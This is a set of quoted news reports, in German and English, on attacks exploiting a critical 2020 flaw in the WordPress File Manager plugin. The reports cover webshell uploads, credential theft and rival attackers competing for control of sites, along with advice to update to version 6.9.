    Vor einigen Tagen wurde eine schwerwiegende Sicherheitslücke im File Manager-Plugin für WordPress entdeckt. Obwohl die Lücke vom Entwickler innerhalb weniger Stunden behoben und mit Erscheinen von Version 6.9 ein Update zur Verfügung stand, wurde das Update nicht von allen Nutzern eingespielt. Das hat nun dazu geführt, dass einige Hacker um die Kontrolle von etwa 300.000 infizierten WordPress-Seiten kämpfen.
    Warum viele Nutzer des File Manager-Plugins kein Update eingespielt haben, ist unklar. Einige Nutzer haben das Plugin zwar entfernt (ursprünglich waren es 700.000, nun sind noch 600.000 Installationen), bei einem Teil dürfte es sich um vergessene oder nicht mehr gepflegte WordPress-Installationen handeln, aber ein Teil der Nutzerschaft hat eben kein Update durchgeführt.
    Wie Bleeping Computer gestern berichtete, werden derzeit über 2,6 Millionen WordPress-Installationen von unterschiedlichen Hackern angegriffen. So wie es derzeit aussieht, gibt es zwei Hauptakteure, die in dem Rennen um die Kontrolle die Nase vorne haben. Während einer Backdoors einbaut, versucht ein Anderer fremde Exloit-Versuche andere Angreifer zu blockieren, während er selbst erfolgreich Benutzerzugangsdaten klaut. Der Hacker ist unter dem Namen Bajatax bekannt.
    In all, Defiant’s researchers saw attacks trying to exploit this vulnerability originating from more than 370,000 separate IP addresses, with almost no overlap in backdoor access activity.
    Wenn sich die Aktivitäten beim Zugriff auf Backdoors nicht überschneiden, spricht das eher für abgestimmte Aktionen oder gar den gleichen Täter.
    Das ist ein schönes Beispiel dafür, was passieren kann, wenn Sicherheitsupdates nicht zeitnah eingespielt werden. Diese Lücke im File Manager-Plugin, bzw. die nicht eingespielten Updates, wird WordPress-Betreiber und auch Hoster noch länger beschäftigen.
    Weitere ausführliche Informationen zu den Aktivitäten der Hacker hat Wordfence veröffentlicht.“
    Quelle: https://netzbasti.de/2020/09/11/hacker-krieg-um-300-000-gefaehrdete-wordpress-sites/

  • Attacks Targeting Recent WordPress File Manager Flaw Ramping Up

    „Attacks Targeting Recent WordPress File Manager Flaw Ramping Up
    By Ionut Arghire on September 11, 2020
    Attacks targeting a recently addressed vulnerability in the WordPress plugin File Manager are ramping up, warns the Wordfence Threat Intelligence team at WordPress security company Defiant.
    With over 700,000 active installs, File Manager is a highly popular WordPress plugin that provides admins with file and folder management capabilities (copy/paste, delete, download/upload, edit, and archive).
    In early September 2020, the plugin’s developer addressed a critical-severity zero-day flaw that was already being actively targeted. Assessed with a CVSS score of 10, the flaw can allow attackers to remotely execute code on a vulnerable installation.
    The issue is related to code taken from the elFinder project, with the File Manager developers renaming the elFinder library’s connector.minimal.php.dist file to .php, to have it execute directly. This, however, opened the plugin to attackers.
    Nearly two weeks after a patch for the vulnerability was released, multiple threat actors are targeting unpatched installations, Wordfence researchers reveal.
    Within days after the zero-day was patched, attackers were targeting over 1.7 million sites, but that number increased to 2.6 million as of September 10.
    “We’ve seen evidence of multiple threat actors taking part in these attacks, including minor efforts by the threat actor previously responsible for attacking millions of sites, but two attackers have been the most successful in exploiting vulnerable sites, and at this time, both attackers are password protecting vulnerable copies of the connector.minimal.php file,” Wordfence notes.
    The most active of the attackers is a Moroccan threat actor referred to as “bajatax,” which modifies the vulnerable connector.minimal.php file to prevent further attacks. This is the first threat actor observed targeting the vulnerability at scale.
    Once it manages to compromise a website, the attacker adds code to exfiltrate user credentials using the Telegram messenger’s API. The code is added to the WordPress core user.php file and, if WooCommerce is installed, two more files are modified to steal user credentials.
    A second adversary targeting the security flaw is attempting to inject a backdoor into the vulnerable websites, and is protecting the connector.minimal.php file with a password, in an attempt to prevent other infections. However, it appears that the threat actor is using a consistent password across infections.
    Two copies of the backdoor are inserted into the infected website, one in the webroot and the other in a randomized writable folder, likely in an attempt to ensure persistence. The attacker leverages the backdoors to modify core WordPress files which would then be abused for monetization purposes, based on the threat actor’s previously observed modus operandi.
    On many of the compromised websites, Wordfence discovered malware from multiple adversaries. Attacks targeting the vulnerability were observed originating from more than 370,000 separate IP addresses, with almost no overlaps between the IPs used by the two most active attackers.
    “As more and more users update or remove the File Manager plugin, control of any infected sites will likely be split between these two threat actors,” Wordfence notes.
    Site administrators are advised to update the File Manager plugin as soon as possible, but also to scan their website for possible compromise and to remove any malicious code they might find.
    Related: WordPress ‚File Manager‘ Plugin Patches Critical Zero-Day Exploited in Attacks
    Related: WordPress Malware Targets WooCommerce Stores
    Related: Hackers Can Inject Code Into WordPress Sites via Flaw in Product Review Plugin“
    Source: https://www.securityweek.com/attacks-targeting-recent-wordpress-file-manager-flaw-ramping

  • Hackers are exploiting a critical flaw affecting >350,000 WordPress sites

    „Hackers are exploiting a critical flaw affecting >350,000 WordPress sites“
    „Flaw is in File Manager, a plugin with more than 700,000 users; 52% are affected.
    Dan Goodin – 9/2/2020, 3:40 AM“
    „Hackers are actively exploiting a vulnerability that allows them to execute commands and malicious scripts on Websites running File Manager, a WordPress plugin with more than 700,000 active installations, researchers said on Tuesday. Word of the attacks came a few hours after the security flaw was patched.
    Attackers are using the exploit to upload files that contain webshells that are hidden in an image. From there, they have a convenient interface that allows them to run commands in plugins/wp-file-manager/lib/files/, the directory where the File Manager plugin resides. While that restriction prevents hackers from executing commands on files outside of the directory, hackers may be able to exact more damage by uploading scripts that can carry out actions on other parts of a vulnerable site.
    NinTechNet, a website security firm in Bangkok, Thailand, was among the first to report the in-the-wild attacks. The post said that a hacker was exploiting the vulnerability to upload a script titled hardfork.php and then using it to inject code into the WordPress scripts /wp-admin/admin-ajax.php and /wp-includes/user.php.
    Backdooring vulnerable sites at scale
    In email, NinTechNet CEO Jerome Bruandet wrote:
    It’s a bit too early to know the impact because when we caught the attack, hackers were just trying to backdoor websites. However, one interesting thing we noticed is that attackers were injecting some code to password-protect the access to the vulnerable file (connector.minimal.php) so that other groups of hackers could not exploit the vulnerability on the sites that were already infected.
    All commands can be run in the /lib/files folder (create folders, delete files etc), but the most important issue is that they can upload PHP scripts into that folder too, and then run them and do whatever they want to the blog.
    So far, they are uploading „FilesMan“, another file manager often used by hackers. This one is heavily obfuscated. In the next few hours and days we’ll see exactly what they will do, because if they password-protected the vulnerable file to prevent other hackers to exploit the vulnerability it is likely they are expecting to come back to visit the infected sites.
    Fellow website security firm Wordfence, meanwhile, said in its own post that it had blocked more than 450,000 exploit attempts in the past few days. The post said that the attackers are trying to inject various files. In some cases, those files were empty, most likely in an attempt to probe for vulnerable sites and, if successful, inject a malicious file later. Files being uploaded had names including hardfork.php, hardfind.php, and x.php.
    „A file manager plugin like this would make it possible for an attacker to manipulate or upload any files of their choosing directly from the WordPress dashboard, potentially allowing them to escalate privileges once in the site’s admin area,“ Chloe Chamberland, a researcher with security firm Wordfence, wrote in Tuesday’s post. „For example, an attacker could gain access to the admin area of the site using a compromised password, then access this plugin and upload a webshell to do further enumeration of the server and potentially escalate their attack using another exploit.“
    52% of 700,000 = potential for damage
    The File Manager plugin helps administrators manage files on sites running the WordPress content management system. The plugin contains an additional file manager known as elFinder, an open source library that provides the core functionality in the plugin, along with a user interface for using it. The vulnerability arises from the way the plugin implemented elFinder.
    „The core of the issue began with the File Manager plugin renaming the extension on the elFinder library’s connector.minimal.php.dist file to .php so it could be executed directly, even though the connector file was not used by the File Manager itself,“ Chamberland explained. „Such libraries often include example files that are not intended to be used ‚as is‘ without adding access controls, and this file had no direct access restrictions, meaning the file could be accessed by anyone. This file could be used to initiate an elFinder command and was hooked to the elFinderConnector.class.php file.“
    The developers of File Manager credited researcher Ville Korhonen of security firm Seravo with discovering and first reporting the vulnerability. The researchers, who said they found the vulnerability as part of their regular „WordPress upkeep service,“ published their own writeup here.
    Sal Aguilar, a contractor who sets up and secures WordPress sites, took to Twitter to warn of attacks he’s seeing.
    „Oh crap!!!“ he wrote. „The WP File Manager vulnerability is SERIOUS. Its spreading fast and I’m seeing hundreds of sites getting infected. Malware is being uploaded to /wp-content/plugins/wp-file-manager/lib/files.“
    The security flaw is in File Manager versions ranging from 6.0 to 6.8. Statistics from WordPress show that currently about 52 percent of installations are vulnerable. With more than half of File Manager’s installed base of 700,000 sites vulnerable, the potential for damage is high. Sites running any of these versions should updated to 6.9 as soon as possible.“
    Source: https://arstechnica.com/information-technology/2020/09/hackers-are-exploiting-a-critical-flaw-affecting-350000-wordpress-sites/